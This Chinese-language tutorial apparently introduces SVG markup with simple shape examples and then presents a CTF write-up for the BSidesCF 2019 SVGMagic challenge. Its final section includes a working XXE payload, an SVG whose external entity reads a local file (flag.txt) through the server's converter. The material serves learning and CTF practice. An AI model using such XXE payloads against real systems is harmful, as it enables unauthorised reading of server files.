0x01 SVG:
- SVG是一种缩放矢量图形,是基于可扩展标记语言(XML),用于描述二维矢量图形的图形格式。SVG由W3C制定,是一个开放标准。简单的理解,它是图形的另一种格式例如它和常见的图片格式.png、.jpg、.gif等是一类。
- 可以直接用代码来描绘图像,可以用任何文字处理工具打开SVG图像,通过改变部分代码来使图像具有交互功能,并可以随时插入到HTML中通过浏览器来观看。
- SVG 严格遵从 XML 语法,并用文本格式的描述性语言来描述图像内容,因此是一种和图像分辨率无关的矢量图形格式。
听上去还是懵懵的
0x02 SVG实例
在svg标签中,width:宽度 - height:高度 - x:水平方向上的偏移量 - y:竖直方向上的偏移量 - rx、ry:定义圆角效果 - style:样式(这些样式同样适用于下面的图形,所以下面的图形只会介绍属性,不会重复介绍样式) - fill:rgb颜色,表示矩形的填充颜色 - fill-opacity:填充的不透明度 - stroke:rgb颜色,表示矩形的边框颜色 - stroke-width:矩形边框的大小 - stroke-opacity:矩形边框的不透明度
圆形
circle标签属性解释如下: - cx、cy:圆心坐标 - r:圆的半径
<svg width="200px" height="200px" version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="100" cy="50" r="40" style="stroke:black; stroke-width:2; fill:blue" />
</svg>
椭圆
ellipse标签属性解释如下: - cx:圆心的x坐标 - cy:圆心的y坐标 - rx:水平半径 - ry:竖直半径
<svg width="200px" height="200px" version="1.1" xmlns="http://www.w3.org/2000/svg">
<ellipse cx="100" cy="50" rx="40" ry="50" style="fill:purple" />
</svg>
线条
line标签属性解释如下: - x1:线段的起点x坐标 - x2:线段的终点x坐标 - y1:线段的起点y坐标 - y2:线段的终点y坐标
<svg width="200px" height="200px" version="1.1" xmlns="http://www.w3.org/2000/svg">
<line x1="10" y1="10" x2="100" y2="100" style="stroke:red;stroke-width:2" />
</svg>
还是要看代码 一看代码就啥都明白了!!!
0X03 SVG从一题到XXE
因为SVG严格遵守XML语言,然而XML语言是可以造成XXE漏洞的,呢么我们构造一下语句,试一下XXE漏洞
[BSidesCF 2019]SVGMagic
题目说的也很明白,使用magic将svg转换为png
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
根据构造得到的XML代码 上传上去